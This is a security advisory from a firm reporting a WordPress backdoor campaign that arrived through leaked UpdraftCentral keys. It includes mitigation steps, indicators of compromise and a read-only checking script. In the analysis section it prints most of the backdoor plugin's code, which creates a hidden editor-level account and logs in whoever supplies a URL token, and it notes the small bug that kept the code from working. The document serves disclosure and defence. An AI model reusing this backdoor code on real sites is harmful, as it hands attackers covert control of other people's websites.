Critical security problem in UpdraftCentral: an attacker holding the service’s keys planted a backdoor on our websites

Critical security problem in UpdraftCentral: an attacker holding the service’s keys planted a backdoor on our websites

Summary

Status as of 19 October 2026, last updated 19 Oct 2026. The list of changes is at the end of the article. We will update it when the vendor responds.

What is affectedthe UpdraftCentral service, whose client is part of the UpdraftPlus plugin, free and premium
Affected versionsall UpdraftPlus versions with an active UpdraftCentral key, including the latest 1.26.11 and 2.26.11. On connected sites running versions up to 1.26.4 and 2.26.4, an attacker does not even need valid keys (CVE-2026-10795).
How many sitesAccording to wordpress.org, UpdraftPlus has more than 4 million active installations, and the vendor calls it the world’s most popular scheduled backup plugin. For the June flaw in the same channel, the vendor estimated that fewer than 10% of users have an UpdraftCentral or Migrator key, which means up to around 400,000 sites. We do not know how many of them the attacker hit.
Fixnone yet. The attacker holds valid keys, so a plugin update alone will not help.
Temporary solutionremove the UpdraftCentral connection, check the site with our script and, optionally, block UpdraftCentral commands with a small mu-plugin (see below). Do not reconnect until the vendor explains the cause. You do not need to uninstall UpdraftPlus; backups keep working.

On the night of 19 October 2026 an attacker at IP address 43.250.53.42 sent the command plugin.upload_plugin through UpdraftCentral to three of our WordPress websites. UpdraftCentral is a remote site management service from TeamUpdraft, and its client is built into every copy of the UpdraftPlus plugin. On two of our sites the command went through and WordPress installed and activated an unknown plugin. On the third it failed on permissions.

The fault was not on our side. All three sites ran the current WordPress 7.1.3 and UpdraftPlus 2.26.11, which is patched against the June vulnerability CVE-2026-10795. The attacker did not break into our servers and did not exploit any weakness in our configuration. The attacker came in through the UpdraftCentral remote management channel and signed the commands with valid private dashboard keys. Those keys are generated and kept by the UpdraftCentral Cloud service and have never been on our servers. Whoever holds them can install and run arbitrary code on every connected site without the owner knowing. That is why we consider this a critical security problem of the UpdraftCentral service.

Who is at risk: every site running UpdraftPlus, free or premium, that is connected to UpdraftCentral, meaning it has an UpdraftCentral key. Every one of the more than 4 million UpdraftPlus installations contains the UpdraftCentral client. Sites that are not connected to UpdraftCentral are not at risk from this attack, because without a key they do not accept UpdraftCentral commands. Our sites were connected to UpdraftCentral Cloud, the dashboard operated by TeamUpdraft. We do not yet know whether the leak also affects self-hosted UpdraftCentral dashboards.

This is not CVE-2026-10795, which Wordfence wrote about in June: our sites were patched against it and attempts to exploit it failed on them.

The plugin is a backdoor. Given a secret link, it was meant to create an account with disguised administrator rights and log the attacker straight into it. Its author made a mistake in the code, though, so the backdoor never worked. Instead it crashed every request to the site that was not served from cache, and WordPress emailed us about it. That is how we found it within minutes to hours.

We reported the incident to TeamUpdraft on 19 October and asked them to explain how the keys reached the attacker.

If your site is connected to UpdraftCentral, treat it as potentially compromised until you have checked it. Remove the connection immediately and check the site as described below. As of 19 October 2026 we found no public mention of this backdoor or of any similar attack after the June fix.

What to do right now

1. Remove the UpdraftCentral connection

In the WordPress admin, open Settings → UpdraftPlus Backups → the “Advanced Tools” tab → “UpdraftCentral”. Click “Manage existing keys (N)…” and then “Delete…” next to every key. If there is no key, the site is not connected.

With command line access, this command in the WordPress root directory does the same:

wp option delete updraft_central_localkeys

Then remove the site from the UpdraftCentral dashboard as well (teamupdraft.com → My account → UpdraftCentral → ••• next to the site → Remove site). Removing it from the dashboard alone is not enough. The attacker has the dashboard’s private key, so what counts is deleting the key on the site.

Do not reconnect the site for now. Until the vendor explains how the keys leaked, a new key could end up with the attacker just like the old one.

2. Check whether the backdoor is on your site

Without the command line:

  • On the same UpdraftCentral screen, click “View recent UpdraftCentral log events…”. Look for the lines “Command received: plugin.upload_plugin” and “probe.central.updraftplus.com”.
  • In the plugin list, look for a plugin described as “Small maintenance toolkit: keeps option storage tidy.” with a name made of two words and three characters, for example “Load Stack 35C”.
  • In the user list, look for an account named “Site Tools” or with an email address at @example.org.

If the backdoor is on the site, the admin may not work at all, because the plugin crashes every request. In that case use the command line.

With the command line, save our checking script from the end of this article as check-updraftcentral.php in the WordPress root directory and run:

wp eval-file check-updraftcentral.php --skip-plugins --skip-themes

The script only reads and changes nothing. The --skip-plugins switch matters, because an installed backdoor would otherwise crash WP-CLI too. Lines marked [ALERT] are traces of the attack, [WARN] means something to check and [OK] is a clean result. A logged command does not by itself mean the plugin got installed (on one of our sites it did not), which is why the script also checks files, database options and accounts. If it reports anything marked [ALERT], continue with the section “What to do if you find it”.

UpdraftPlus keeps only the last 50 events in the UpdraftCentral log. On a site that scanners visit often, the record of the attack can drop out of the log, and the script then reports [OK] for the log. If you have access to the web server logs, search them too (adjust the path to your server, for nginx for example /var/log/nginx/):

grep 'class-udrpc.php"' /var/log/apache2/*access*

The command finds UpdraftCentral requests without a library version in the User-Agent header, like the ones the attacker sent. The real dashboard sends class-udrpc.php/2.0; https://teamupdraft.com, so the command does not match it.

3. Optional: block UpdraftCentral commands entirely

To be sure the site executes no UpdraftCentral command even if a key remains on it, save a file named block-updraftcentral.php with this content in the wp-content/mu-plugins/ folder:

<?php
// Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.
if ( isset( $_POST['udrpc_message'] ) ) {
    http_response_code( 403 );
    exit;
}

WordPress loads files in mu-plugins before regular plugins, so the request stops before UpdraftPlus processes it. This also blocks site migration through UpdraftPlus Migrator, which uses the same channel. Delete the file once the vendor has explained and resolved the problem.

How we found it

At 5:38 we received an automatic WordPress email: “WordPress caught an error with one of your plugins, Load Stack 35C.” We had never installed a plugin of that name. The error message read Uncaught Error: Undefined constant LoadStack35c::FIELD, and since 4:14 our site had been answering every request with error 500.

All files in the folder wp-content/plugins/load-stack-35c/ had the same modification time, 4:14:30. One second later the folder wp-content/upgrade/ changed, which WordPress uses to unpack plugins it installs. So the plugin arrived through the standard WordPress installer, not as a file dropped on disk. In that very second the access log holds a single request:

43.250.53.42 - - [19/Oct/2026:04:14:30 +0200] "POST / HTTP/1.1" 200 8454 "-" "WordPress/6.4; class-udrpc.php"

class-udrpc.php is the library through which UpdraftPlus receives commands from UpdraftCentral. Its own log (the database option updraftcentral_client_log) confirmed it: Command received: plugin.upload_plugin.

Timeline

We refer to the sites as A, B and C. All times are CEST. Every request came from 43.250.53.42 (hosting provider RedSwitches) with the User-Agent header WordPress/6.4; class-udrpc.php.

SiteProbePlugin installationResult
Site C19 Oct 0:41:326:05:31failed, the key belonged to a user without the right to install plugins
Site A2:14:054:14:30backdoor “Load Stack 35C” active, site down until 6:13
Site B2:39:446:53:49backdoor “Text Gantry Eb0” active, removed at 6:56

The probe is a message addressed to a non-existent key, probe.central.updraftplus.com. The site replies that it does not understand the message, which reveals that it accepts UpdraftCentral commands. The next command went to the real key 0.central.updraftplus.com. The attack ran the same way on all three sites, by the same attacker, a few hours apart.

How the attack worked

When a site is connected to UpdraftCentral, it generates an RSA key pair and sends the public key to the UpdraftCentral Cloud service. The service has its own key pair and sends the site only its public key. The dashboard’s private key stays with the service. Every command must be encrypted for the site’s key and signed with the dashboard’s private key. The site then executes it with the rights of the user who created the key in WordPress.

The plugin.upload_plugin command passed this whole check on two sites. We analysed site A in detail and ruled out the following explanations:

  1. The known vulnerability CVE-2026-10795. It affects UpdraftPlus up to 1.26.4 (premium up to 2.26.4). Our sites ran 2.26.11. We see attempts to exploit it in the logs of sites B and C since June, from dozens of IP addresses, and all of them ended with “Could not decrypt incoming message”.
  2. A modified plugin. The files class-udrpc2.php, central/bootstrap.php, central/listener.php and central/host.php are byte-for-byte identical to the official 1.26.11 release from wordpress.org.
  3. The older unsigned message format. The code rejects it for UpdraftCentral keys, and the “Command received” entry is only written after that check.
  4. A substituted dashboard key. The key fingerprints are the same in the daily backups from 15 to 18 October and in the live database, and the access logs show no call to the key exchange function.
  5. Weak cryptography. Both the site key and the dashboard key are 2048-bit RSA with exponent 65537, and UpdraftPlus ships phpseclib 2.0.55, in which the known signature verification flaw is fixed.
  6. A compromised wp-admin. No unknown administrators appeared, core and plugin checksums match, and the logs show no plugin upload through the admin.

So the attacker held the dashboard’s private keys for all three connections at once. Those keys have never been on our servers, so they could not have leaked from there. The commands did not come from a TeamUpdraft server either. The real dashboard sent commands to site B in March and April 2026 with this User-Agent header:

WordPress/6.8.5; class-udrpc.php/2.0; https://teamupdraft.com

The attacker sent WordPress/6.4; class-udrpc.php, without the library version and without a URL, from their own server. The keys therefore leaked from the UpdraftCentral Cloud environment and the attacker used them outside of it.

We do not yet know how exactly the attacker got them. We asked TeamUpdraft for an explanation and for the access records of our account. The keys for sites B and C had existed since November 2025 and the attacker did not use them before 19 October. The attack came eight days after we added site A to the same account.

On site C the attack failed by chance. The key there was created in November 2025 by a user who is no longer an administrator. Before installing, UpdraftCentral checks whether the key owner has the install_plugins and activate_plugins rights. That user had neither.

Why this is a critical UpdraftCentral problem

The UpdraftCentral client is part of every copy of UpdraftPlus, free and premium. It switches on when the owner connects the site to the dashboard. From then on the site executes every command signed with the dashboard key, with the rights of the administrator who created the connection, including uploading and activating any plugin. The site owner does not confirm the command, and in our case nothing warned us about it. The keys on the site side have no expiry: the ones from November 2025 still worked in October 2026.

The security of all connected sites thus rests on a single assumption, that the dashboard’s private keys do not leak. They leaked, and from one place the attacker took over two sites and tried a third within a few hours. UpdraftPlus has more than 4 million active installations. Among backup plugins on wordpress.org, only All-in-One WP Migration (5+ million) has more installations, and it is mainly a migration tool. Only some UpdraftPlus users use UpdraftCentral, but even a small share of 4 million is a lot of websites.

The same channel has failed before. In June 2026 the vendor fixed CVE-2026-10795 (CVSS 8.1), through which an attacker could forge UpdraftCentral commands without logging in and install and activate a malicious plugin. We still see attempts to exploit it in our logs.

What exactly the backdoor does

The plugin has five files, but only the main one contains logic. Here is the relevant part of the sample from site A. We have shortened the token and the password:

define( 'LOADSTACK35C_TOKEN', 'j0j8nxxH…' );      // 32 characters
define( 'LOADSTACK35C_FIELD', '_9f5696' );
define( 'LOADSTACK35C_SVC_LOGIN', 'data-ops43' );
define( 'LOADSTACK35C_SVC_PASS', 'L7sfkZMw…' );    // 22 characters

final class LoadStack35c {
    private function __construct() {
        add_action( 'init', array( $this, 'handle_sync' ), 1 );
    }

    public function handle_sync() {
        if ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {
            $user = get_user_by( 'login', self::SVC_LOGIN );
            if ( ! $user ) {
                $uid = wp_insert_user( array(
                    'user_login'   => self::SVC_LOGIN,
                    'user_pass'    => self::SVC_PASS,
                    'user_email'   => self::SVC_LOGIN . '@example.org',
                    'display_name' => 'Site Tools',
                    'role'         => 'editor',
                ) );
                if ( is_wp_error( $uid ) ) return;
                $u = new WP_User( $uid );
                $u->add_cap( 'manage_options' );
                $u->add_cap( 'install_plugins' );
                $user = get_user_by( 'id', $uid );
            }
            wp_set_current_user( $user->ID, $user->user_login );
            wp_set_auth_cookie( $user->ID, true, is_ssl() );
            wp_safe_redirect( admin_url( 'index.php' ) );
            exit;
        }
    }
}

register_activation_hook( __FILE__, function () {
    if ( ! get_option( 'load_stack_35c_sync_token' ) ) {
        update_option( 'load_stack_35c_sync_token', 'j0j8nxxH…', false );
    }
} );

LoadStack35c::instance();

This is how it would work if it did not contain a bug:

  1. On every request to the site it hooks into the init action with priority 1, earlier than most other plugins.
  2. It checks whether the URL contains the parameter ?_9f5696= and compares its value with a 32-character token. It compares using hash_equals, which takes the same time whether or not the values match, so the token cannot be guessed by measuring response times. Without the right token nothing happens and the site behaves normally.
  3. With the right token it creates the user data-ops43 with a password hardcoded in the plugin, the email data-ops43@example.org and the display name “Site Tools”.
  4. It gives the user the Editor role plus two separate capabilities: manage_options and install_plugins.
  5. It logs the visitor in as this user through wp_set_auth_cookie with “remember me”, which means a cookie valid for 14 days. This bypasses the login form entirely, so two-factor authentication, login attempt limits and Wordfence login protection never apply.
  6. It redirects the visitor to the admin.

The Editor role with two extra capabilities is deliberate. In the user list the account shows up as an Editor, not an Administrator, so a routine review of admins will miss it. In practice it has full control of the site:

  • install_plugins allows uploading any plugin. Its PHP files can be run directly by URL even without activation, which means running arbitrary code on the server.
  • manage_options opens all settings. Enabling registration and setting the default role to administrator is enough for the attacker to create a full administrator.
  • On a standard WordPress site an Editor also has unfiltered_html, so the account can put JavaScript into posts that runs in the browser of every administrator.

The backdoor has a second layer as well. The account it creates, with a known password, stays in WordPress even after the plugin is removed, and the attacker can log in with it through the normal login form unless two-factor authentication is enabled for that account.

The bug that saved us

The constants are defined with define() as global constants (LOADSTACK35C_FIELD), but the code reads them as class constants (self::FIELD). The class has no constants. PHP 8 therefore throws Error: Undefined constant LoadStack35c::FIELD the first time it evaluates self::FIELD. This happens before the token check, so on every request: normal visits, the admin, login, the REST API, cron and WP-CLI. The site fails with error 500 and only serves pages from cache.

The installation request itself completed successfully. UpdraftCentral processes commands in the wp_loaded action, which comes after init, so the broken code did not run in that request. The attacker received a success confirmation and learned nothing about the error from the response. Only the following requests crashed.

The attacker only needs to fix a few characters for the next wave to work. If you find a similar “broken” plugin, do not fix it. Fixing it would switch the backdoor on. Remove it.

More details

  • The plugin poses as an ordinary add-on: it has a complete header, a GPL licence, a Text Domain, the description “Small maintenance toolkit: keeps option storage tidy.” and an invented publisher (“PixelBinder”, “Harbor Stack Labs”).
  • The files assets/public.css, assets/public.js and languages/readme.txt contain only a comment. The plugin never uses them; they are there to make the folder look like a real plugin.
  • When uninstalled from the admin, uninstall.php deletes the options <slug>_sync_token and <slug>_setup_stamp, removing its own traces. The code never creates the second option; it is a leftover of the template.
  • On activation it stores the token in the option <slug>_sync_token without autoloading. The code never reads it.
  • Both samples come from the same generator. When we replace names, tokens, user names and versions with placeholders, all files are byte-for-byte identical. The name follows the pattern word-word-3 hex characters, the parameter is _ plus 6 hex characters, the user is word-word plus two digits. The token has 32 characters and the password 22 characters (letters, digits, underscore).

Indicators of compromise

Site ASite B
Plugin folderload-stack-35ctext-gantry-eb0
Name / author / versionLoad Stack 35C / PixelBinder / 1.2.6Text Gantry Eb0 / Harbor Stack Labs / 3.9.5
URL parameter_9f5696_3e9caa
Userdata-ops43media-staff96
Database optionload_stack_35c_sync_tokentext_gantry_eb0_sync_token
SHA-256 of the main file3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209fbb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801
SHA-256 of uninstall.php4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f04943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9

Common traits:

  • IP address 43.250.53.42, User-Agent exactly WordPress/6.4; class-udrpc.php, request POST /
  • in the UpdraftCentral log, the probe probe.central.updraftplus.com followed a few hours later by Command received: plugin.upload_plugin
  • the plugin description “Small maintenance toolkit: keeps option storage tidy.”
  • a user with an email at @example.org and the display name “Site Tools”, with the Editor role and the capabilities manage_options and install_plugins
  • the fatal error Undefined constant <Class>::FIELD and a WordPress email about an error in a plugin you do not recognise

What to do if you find it

  1. If you have not done so yet, remove the UpdraftCentral connection as described in “What to do right now”. Otherwise the attacker can send a fixed version of the backdoor.
  2. Deactivate the plugin and move it out of the web root. If you want to keep it as evidence, do not delete it through the admin, because uninstall.php deletes its options.
  3. Delete the option <slug>_sync_token.
  4. Check the users with the script below. If the backdoor worked, meaning its account exists or the access log shows a request with its parameter, treat the site as fully compromised. The attacker could have uploaded more plugins or a webshell and changed files or the database. Restore the site from a backup taken before the attack, compare the files with a clean installation and review all users with extra capabilities.
  5. Change the administrator passwords and the UpdraftCentral Cloud account password, end all logged-in sessions and enable two-factor authentication.
  6. Consider whether you need remote management at all. If you do, create the key under an account without the right to install plugins, unless you need that remotely. On site C exactly this coincidence stopped the attack.

Checking script

The script checks five things: whether the site is connected to UpdraftCentral, what the site received through UpdraftCentral, whether the plugins and mu-plugins folders contain backdoor files, whether its options are in the database, and whether its account exists or any other non-administrator has the manage_options or install_plugins capability.

On site A, after the backdoor was removed, it prints:

[OK]    No active UpdraftCentral connection.
[WARN]  2026-10-19 00:14 UTC  43.250.53.42  probe for UpdraftCentral (UA: WordPress/6.4; class-udrpc.php).
[ALERT] 2026-10-19 02:14 UTC  43.250.53.42  "Command received: plugin.upload_plugin" (UA: WordPress/6.4; class-udrpc.php). A plugin or theme was pushed to this site.
[OK]    No backdoor plugin files found.
[OK]    No backdoor options in the database.
[OK]    No backdoor accounts or hidden admin-level users.

You can also download the script directly:

curl -o check-updraftcentral.php https://nethemba.com/wp-content/uploads/2026/10/check-updraftcentral.txt

SHA-256 of the script: 8e78868d970db4e0e96f1f00df90e972b39366e9fe6d4ac18b3eab9364a3175d. The full code:

<?php
/**
 * Nethemba: check for the UpdraftCentral backdoor campaign of October 2026.
 * Read-only. It changes nothing on the site.
 *
 * Run in the WordPress root directory:
 *   wp eval-file check-updraftcentral.php --skip-plugins --skip-themes
 *
 * --skip-plugins matters: an installed copy of the backdoor crashes every request,
 * including WP-CLI, unless plugins are skipped.
 */

$alerts = 0;
$warnings = 0;
$report = function ( $level, $message ) use ( &$alerts, &$warnings ) {
    if ( 'ALERT' === $level ) $alerts++;
    if ( 'WARN' === $level ) $warnings++;
    echo str_pad( "[$level]", 8 ), $message, "\n";
};

echo "UpdraftCentral backdoor check for ", get_option( 'siteurl' ), "\n\n";

// 1. Is the site connected to UpdraftCentral?
$keys = get_option( 'updraft_central_localkeys' );
if ( is_array( $keys ) && $keys ) {
    foreach ( $keys as $id => $key ) {
        $report( 'WARN', sprintf(
            'UpdraftCentral connection is active: key %s, created %s by user "%s". Delete it now.',
            $id,
            isset( $key['created'] ) ? gmdate( 'Y-m-d', $key['created'] ) : '?',
            isset( $key['extra_info']['user_login'] ) ? $key['extra_info']['user_login'] : '?'
        ) );
    }
} else {
    $report( 'OK', 'No active UpdraftCentral connection.' );
}

// 2. What the site received over UpdraftCentral.
$log = get_site_option( 'updraftcentral_client_log' );
$log_hits = 0;
foreach ( is_array( $log ) ? $log : array() as $entry ) {
    $message = isset( $entry['message'] ) ? $entry['message'] : '';
    $agent   = isset( $entry['http_user_agent'] ) ? $entry['http_user_agent'] : '';
    $when    = isset( $entry['time'] ) ? gmdate( 'Y-m-d H:i', $entry['time'] ) . ' UTC' : '?';
    $ip      = isset( $entry['remote_ip'] ) ? $entry['remote_ip'] : '?';
    if ( preg_match( '/upload_(plugin|theme)/', $message ) ) {
        $report( 'ALERT', "$when  $ip  \"$message\" (UA: $agent). A plugin or theme was pushed to this site." );
        $log_hits++;
    } elseif ( false !== strpos( $message, 'probe.central.updraftplus.com' ) ) {
        $report( 'WARN', "$when  $ip  probe for UpdraftCentral (UA: $agent)." );
        $log_hits++;
    } elseif ( 'Command received' === substr( $message, 0, 16 ) && preg_match( '/class-udrpc\.php$/', $agent ) ) {
        $report( 'ALERT', "$when  $ip  \"$message\" from a client that is not UpdraftCentral Cloud (UA: $agent)." );
        $log_hits++;
    }
}
if ( ! $log_hits ) $report( 'OK', 'UpdraftCentral log shows no plugin uploads, probes or foreign clients.' );

// 3. Backdoor plugins in plugins and mu-plugins.
$plugin_hits = 0;
foreach ( array( WP_PLUGIN_DIR . '/*/*.php', WPMU_PLUGIN_DIR . '/*.php' ) as $pattern ) {
    foreach ( (array) glob( $pattern ) as $file ) {
        $code = (string) @file_get_contents( $file, false, null, 0, 200000 );
        $template = false !== strpos( $code, 'keeps option storage tidy' )
            || ( false !== strpos( $code, "_sync_token'" ) && false !== strpos( $code, 'wp_set_auth_cookie' ) && false !== strpos( $code, 'hash_equals' ) );
        if ( $template ) {
            $report( 'ALERT', "Backdoor plugin file: $file" );
            $plugin_hits++;
        }
    }
}
if ( ! $plugin_hits ) $report( 'OK', 'No backdoor plugin files found.' );

// 4. Options the backdoor leaves behind.
global $wpdb;
$options = $wpdb->get_col( "SELECT option_name FROM {$wpdb->options} WHERE option_name REGEXP '^[a-z]+_[a-z]+_[0-9a-f]{3}_(sync_token|setup_stamp)$'" );
foreach ( $options as $name ) $report( 'ALERT', "Backdoor option in the database: $name" );
if ( ! $options ) $report( 'OK', 'No backdoor options in the database.' );

// 5. Accounts the backdoor creates, and non-admins with admin-level capabilities.
$user_hits = 0;
$cap_key = $wpdb->get_blog_prefix() . 'capabilities';
foreach ( get_users( array( 'fields' => array( 'ID', 'user_login', 'user_email', 'display_name' ) ) ) as $user ) {
    $caps = (array) get_user_meta( $user->ID, $cap_key, true );
    $extra = array_intersect( array( 'manage_options', 'install_plugins' ), array_keys( array_filter( $caps ) ) );
    if ( 'Site Tools' === $user->display_name || '@example.org' === substr( $user->user_email, -12 ) ) {
        $report( 'ALERT', "Backdoor-style account: {$user->user_login} <{$user->user_email}> \"{$user->display_name}\"" );
        $user_hits++;
    } elseif ( $extra && empty( $caps['administrator'] ) ) {
        $report( 'WARN', "Non-administrator {$user->user_login} has extra capabilities: " . implode( ', ', $extra ) );
        $user_hits++;
    }
}
if ( ! $user_hits ) $report( 'OK', 'No backdoor accounts or hidden admin-level users.' );

echo "\n";
if ( $alerts ) {
    echo "RESULT: traces of the attack found. Delete the UpdraftCentral connection, remove the backdoor and check users and passwords.\n";
} elseif ( $warnings ) {
    echo "RESULT: no backdoor found, but there are warnings above. If the site is connected to UpdraftCentral, delete the connection now.\n";
} else {
    echo "RESULT: no traces found.\n";
}

Why we publish immediately

Responsible disclosure means giving the vendor time to fix a problem and publishing the details only afterwards. Unfortunately there is no reason for that here. The attacker is already actively spreading backdoors into WordPress installations, and a fix from the vendor will not help site owners as long as the attacker holds valid keys. The only effective protection is to remove the UpdraftCentral connection and check the site, and every administrator can do that right now.

Publishing does not help the attacker, who needs valid keys and already has them. Nothing in this article gives the attacker a new way to attack. It does give defenders a way to protect themselves. The backdoor is also produced by a generator that creates different names, tokens and passwords for every site, which suggests a tool built for a large number of sites. Every hour of waiting gives the attacker time for more sites.

Communication with the vendor and security companies

  • 19 Oct 2026: report to TeamUpdraft through the premium support form, with logs and an analysis of site A
  • 19 Oct 2026: follow-up on the attacks on sites B and C, the second sample and a comparison of the User-Agent with the real dashboard
  • 19 Oct 2026: notified Wordfence and Patchstack so they can add detection and warn other site owners
  • We had no reply from the vendor at the time of publication. We will update this article.

If you have seen a similar attack, write to us at info@nethemba.com. We will provide samples and further technical material to the vendor and to security teams on request.

Changes

  • 19 Oct 2026: first publication.
  • 19 Oct 2026: note that the UpdraftCentral log keeps only 50 events, plus an access log check; advice not to reconnect; steps for fully compromised sites; clarified the versions affected by CVE-2026-10795.

more insights

A broken seal of the commercial register leaking records containing birth numbers

The State as the Biggest Threat to Your Privacy

A senseless Slovak statute published the birth numbers, addresses and certified signatures of company directors — and it is not a bug, it is written into Section 100(3). We are convinced the greatest threat to citizens privacy today is the state itself.

Read more >